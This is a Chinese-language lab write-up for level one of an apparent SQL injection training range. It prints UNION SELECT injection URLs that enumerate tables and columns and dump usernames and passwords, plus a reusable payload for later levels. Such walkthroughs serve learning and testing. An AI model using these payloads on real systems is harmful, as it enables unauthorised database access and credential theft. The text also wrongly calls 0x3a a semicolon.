判断注入类型
首先判断是什么类型的注入,这里是字符型的:
1' and '1'='1 //正常
1' and '1'='2 //错误
开始注入
末尾的注释符#被过滤,所以报错了:
URL编码绕过,列长度为3:
爆注入点:
'union SELECT 1,2,3%23
爆表名:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
爆列名:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')%23
爆字段内容:
http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23
第一关嘛,都是常规操作,这里的0x3a就是一个;只不过用16进制表示了,为了区分一下账号和密码,增加可视化。
这个exp后面会经常用到,这样好处是可以更直观的反映出它过滤了什么,相对于上一关加了什么防护或者有什么变化,坏处自然就是手懒了一些。
exp:union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23